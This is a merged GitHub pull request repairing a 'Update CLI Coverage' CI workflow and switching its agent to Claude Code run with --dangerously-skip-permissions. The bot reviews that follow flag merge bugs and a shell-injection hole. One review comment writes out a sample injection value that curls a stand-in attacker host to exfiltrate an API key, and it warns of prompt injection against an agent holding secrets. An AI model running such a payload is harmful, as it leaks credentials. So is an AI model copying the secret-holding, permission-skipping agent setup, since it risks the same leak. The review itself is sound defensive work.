Skip to content

fix(ci): unbreak Update CLI Coverage workflow, switch cursor-agent → Claude Code - #142

Merged
rgarcia merged 1 commit into
mainfrom
fix/update-cli-coverage-claude
Jul 24, 2026
Merged

fix(ci): unbreak Update CLI Coverage workflow, switch cursor-agent → Claude Code#142
rgarcia merged 1 commit into
mainfrom
fix/update-cli-coverage-claude

Conversation

@rgarcia

@rgarcia rgarcia commented Jul 24, 2026

Copy link
Copy Markdown
Contributor

Problem

The Update CLI Coverage workflow has failed on every push to main since 2026-04-21 (~40 consecutive failures). Root cause, reproduced locally:

  1. The workflow merges origin/main into the long-lived cli-coverage-update branch in kernel/cli. That branch is pinned to SDK v0.50.0 while main is at v0.79.0 → merge conflict in go.mod/go.sum.
  2. || true swallows the conflict, leaving conflict markers in go.mod.
  3. grep 'kernel/kernel-go-sdk' go.mod then returns two versions, and the multi-line value breaks the $GITHUB_OUTPUT write:
    ##[error]Unable to process file command 'output' successfully.
    ##[error]Invalid format 'v0.79.0'
    
  4. The run dies before the agent ever starts. (Also note: CLI: Update SDK to 12b3ec6 and add new commands/flags cli#140, the branch's evergreen PR, has been untouched since March 30.)

Fix

  • Merge with -X theirs so go.mod/go.sum conflicts auto-resolve to main's version.
  • Harden version extraction: use go list -m github.com/kernel/kernel-go-sdk with a grep fallback that skips conflict-marker lines and takes the first match — a multi-line value can never reach $GITHUB_OUTPUT again.
  • Switch cursor-agent → Claude Code CLI, matching the pattern in kernel/kernel-browser:
    • Install via https://claude.ai/install.sh
    • ANTHROPIC_API_KEY org secret + CLAUDE_CODE_PREFERRED_MODEL org var (both already exist with ALL-repo visibility)
    • claude -p ... --dangerously-skip-permissions --output-format text --verbose

Follow-ups (not in this PR)


Note

Low Risk
CI-only workflow changes with no application runtime impact; the agent step uses existing org secrets and follows patterns used elsewhere in the org.

Overview
Repairs the Update CLI Coverage workflow so it can run again after repeated failures from unresolved go.mod merge conflicts on the long-lived cli-coverage-update branch.

When syncing that branch with origin/main, merges now use -X theirs so go.mod/go.sum conflicts favor main’s versions instead of leaving conflict markers. SDK version detection prefers go list -m github.com/kernel/kernel-go-sdk, with a grep fallback that skips conflict-marker lines and takes a single match so $GITHUB_OUTPUT cannot get a multi-line value.

The automation agent is switched from Cursor to Claude Code: install via claude.ai/install.sh, ANTHROPIC_API_KEY and CLAUDE_CODE_PREFERRED_MODEL, and claude -p with --dangerously-skip-permissions instead of cursor-agent.

Reviewed by Cursor Bugbot for commit b1f93c9. Bugbot is set up for automated code reviews on this repo. Configure here.

The workflow has failed on every push since 2026-04-21:

- The merge of origin/main into the long-lived cli-coverage-update branch
  conflicts in go.mod/go.sum. The '|| true' swallowed the conflict, leaving
  conflict markers in go.mod, so grep returned two SDK versions and the
  multi-line value broke the $GITHUB_OUTPUT write
  ('Invalid format v0.79.0'), failing the run before the agent started.
  Fix: merge with -X theirs.
- Harden OLD_SDK_VERSION extraction: prefer 'go list -m', fall back to
  grep that skips conflict-marker lines and takes the first match.

Also replace cursor-agent with the Claude Code CLI, matching the pattern
used in kernel/kernel-browser (ANTHROPIC_API_KEY org secret,
CLAUDE_CODE_PREFERRED_MODEL org var, --dangerously-skip-permissions).
@rgarcia
rgarcia merged commit 12b3ec6 into main Jul 24, 2026
10 checks passed
@stainless-app stainless-app Bot mentioned this pull request Jul 24, 2026

@cursor cursor Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Cursor Bugbot has reviewed your changes using high effort and found 2 potential issues.

Fix All in Cursor

Bugbot Autofix prepared fixes for both issues found in the latest run.

  • ✅ Fixed: Merge overwrites SDK baseline
    • The workflow now captures the CLI SDK version before any merge and reuses that stored baseline when computing the SDK diff.
  • ✅ Fixed: Merge theirs drops branch CLI work
    • The repo-wide -X theirs merge strategy was removed and conflict handling now only auto-resolves go.mod/go.sum while aborting merges with other conflicts to preserve branch changes.

Create PR

Or push these changes by commenting:

@cursor push 4c417d811b
Preview (4c417d811b)
diff --git a/.github/workflows/update-cli-coverage.yml b/.github/workflows/update-cli-coverage.yml
--- a/.github/workflows/update-cli-coverage.yml
+++ b/.github/workflows/update-cli-coverage.yml
@@ -99,15 +99,42 @@
         run: |
           gh repo clone kernel/cli /tmp/kernel-cli
           cd /tmp/kernel-cli
+          HAS_COVERAGE_BRANCH=false
           
           if git fetch origin cli-coverage-update 2>/dev/null; then
+            HAS_COVERAGE_BRANCH=true
             echo "Branch cli-coverage-update exists, checking it out..."
             git checkout cli-coverage-update
-            git merge -X theirs origin/main -m "Merge main into cli-coverage-update" --no-edit || true
           else
             echo "Branch cli-coverage-update does not exist, will create from main"
           fi
 
+          # Capture the SDK baseline before any merge so diffing compares from
+          # the branch's current version.
+          BASELINE_SDK_VERSION=$(go list -m github.com/kernel/kernel-go-sdk 2>/dev/null | awk '{print $2}')
+          if [ -z "$BASELINE_SDK_VERSION" ]; then
+            BASELINE_SDK_VERSION=$(grep 'kernel/kernel-go-sdk' go.mod | head -1 | awk '{print $2}')
+          fi
+          echo "$BASELINE_SDK_VERSION" > /tmp/kernel-cli-old-sdk-version.txt
+          echo "CLI baseline SDK version before merge: $BASELINE_SDK_VERSION"
+
+          if [ "$HAS_COVERAGE_BRANCH" = true ]; then
+            if ! git merge origin/main -m "Merge main into cli-coverage-update" --no-edit; then
+              CONFLICT_FILES=$(git diff --name-only --diff-filter=U)
+              NON_GO_CONFLICT_FILES=$(echo "$CONFLICT_FILES" | grep -Ev '^(go\.mod|go\.sum)$' || true)
+
+              if [ -n "$NON_GO_CONFLICT_FILES" ]; then
+                echo "Merge conflicts outside go.mod/go.sum; aborting merge to preserve branch work"
+                git merge --abort
+              else
+                echo "Resolving go.mod/go.sum conflicts using origin/main"
+                git checkout --theirs go.mod go.sum 2>/dev/null || true
+                git add go.mod go.sum
+                git commit --no-edit
+              fi
+            fi
+          fi
+
       - name: Get SDK version info
         id: sdk-version
         run: |
@@ -137,12 +164,20 @@
       - name: Compute SDK diff since CLI's current version
         id: sdk-diff
         run: |
-          # Extract the SDK version currently used by the CLI
+          # Use the SDK version captured before merging main into the branch.
+          OLD_SDK_VERSION=""
+          if [ -f /tmp/kernel-cli-old-sdk-version.txt ]; then
+            OLD_SDK_VERSION=$(tr -d '\n' < /tmp/kernel-cli-old-sdk-version.txt)
+          fi
+
+          # Fall back to the current tree if no baseline was captured.
           # Prefer go list (parses go.mod properly); fall back to grep, taking the
           # first non-conflict-marker match so a merge conflict can't yield a
           # multi-line value that breaks $GITHUB_OUTPUT.
-          OLD_SDK_VERSION=$(cd /tmp/kernel-cli && go list -m github.com/kernel/kernel-go-sdk 2>/dev/null | awk '{print $2}')
           if [ -z "$OLD_SDK_VERSION" ]; then
+            OLD_SDK_VERSION=$(cd /tmp/kernel-cli && go list -m github.com/kernel/kernel-go-sdk 2>/dev/null | awk '{print $2}')
+          fi
+          if [ -z "$OLD_SDK_VERSION" ]; then
             OLD_SDK_VERSION=$(grep 'kernel/kernel-go-sdk' /tmp/kernel-cli/go.mod | grep -v '^[<>=]' | head -1 | awk '{print $2}')
           fi
           echo "CLI currently uses SDK version: $OLD_SDK_VERSION"

You can send follow-ups to the cloud agent here.

Reviewed by Cursor Bugbot for commit b1f93c9. Configure here.

id: sdk-diff
run: |
# Extract the SDK version currently used by the CLI
OLD_SDK_VERSION=$(grep 'kernel/kernel-go-sdk' /tmp/kernel-cli/go.mod | awk '{print $2}')

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Merge overwrites SDK baseline

High Severity

The git merge -X theirs origin/main step updates go.mod to origin/main's SDK version before the OLD_SDK_VERSION is read. This can cause OLD_SDK_VERSION to match the new SDK version, resulting in an empty SDK diff. Consequently, the agent misses actual SDK changes when updating CLI coverage, especially on stale branches.

Fix in Cursor Fix in Web

Reviewed by Cursor Bugbot for commit b1f93c9. Configure here.

echo "Branch cli-coverage-update exists, checking it out..."
git checkout cli-coverage-update
git merge origin/main -m "Merge main into cli-coverage-update" --no-edit || true
git merge -X theirs origin/main -m "Merge main into cli-coverage-update" --no-edit || true

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Merge theirs drops branch CLI work

Medium Severity

git merge -X theirs origin/main applies the “theirs” strategy to every conflicted file, not only go.mod/go.sum. Any merge conflict in CLI sources on cli-coverage-update is resolved to origin/main, which can discard coverage work still only on that branch, while the agent prompt still instructs preserving existing branch work and avoiding force push.

Additional Locations (1)
Fix in Cursor Fix in Web

Reviewed by Cursor Bugbot for commit b1f93c9. Configure here.

GH_TOKEN: ${{ steps.app-token.outputs.token }}
KERNEL_API_KEY: ${{ secrets.KERNEL_API_KEY }}
BRANCH_PREFIX: cli-coverage-update
run: |

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Command injection via ${{ }} interpolation into a run: script (yaml.github-actions.security.run-shell-injection.run-shell-injection)

Why this is a true positive

This step interpolates a free-form, caller-supplied value directly into the double-quoted shell argument of claude -p "...". The relevant sink is line 184:

- Trigger: ${{ github.event_name }} ${{ inputs.pr_number && format('(PR #{0})', inputs.pr_number) || '' }}

inputs.pr_number is a workflow_dispatch input of type: string with no validation, and ${{ }} expansion happens before bash parses the script. A dispatch value like:

1") ; curl -s https://attacker.example/?k=$ANTHROPIC_API_KEY ; echo "

closes the quoted prompt and runs arbitrary commands in the runner. The blast radius is what this step has in env:ANTHROPIC_API_KEY, KERNEL_API_KEY, and steps.app-token.outputs.token, which is an org-scoped admin GitHub App token (owner: kernel). That turns repo write/actions: write access into org-admin credential exfiltration.

The same input is injected even more directly in the earlier Get PR info for manual dispatch step (lines 37 and 39), which is outside this PR's diff but has the identical flaw and should be fixed in the same pass.

Recommended fix — pass untrusted values through env: and reference them as quoted shell variables, so they are never expanded into the script text:

      - name: Update CLI coverage
        env:
          ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
          GH_TOKEN: ${{ steps.app-token.outputs.token }}
          KERNEL_API_KEY: ${{ secrets.KERNEL_API_KEY }}
          BRANCH_PREFIX: cli-coverage-update
          PR_NUMBER: ${{ inputs.pr_number }}
          EVENT_NAME: ${{ github.event_name }}
          SDK_MODULE: ${{ steps.sdk-version.outputs.module }}
          SDK_VERSION: ${{ steps.sdk-version.outputs.version }}
        run: |
          TRIGGER="$EVENT_NAME${PR_NUMBER:+ (PR #$PR_NUMBER)}"
          claude -p "...
          - Trigger: $TRIGGER
          ..."

Validating the input at the top of the job is a cheap belt-and-braces addition:

case "$PR_NUMBER" in
  ''|*[!0-9]*) echo "pr_number must be numeric" >&2; exit 1 ;;
esac

Also worth noting while you're in here: this PR adds --dangerously-skip-permissions, and the agent reads /tmp/sdk-diff.patch and /tmp/kernel-api content into its context while holding those same secrets. That is a prompt-injection path to the same credentials, distinct from the shell-injection above and not fixed by quoting.

If you consider this an accepted risk (e.g. workflow_dispatch is restricted to trusted maintainers), suppress it explicitly rather than leaving it flagged:

  • Inline, on the flagged line:
          # nosemgrep: yaml.github-actions.security.run-shell-injection.run-shell-injection
          run: |
    (or a bare # nosemgrep to silence every rule on that line)
  • Or exclude the file entirely by adding to .semgrepignore:
    .github/workflows/update-cli-coverage.yml
    

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant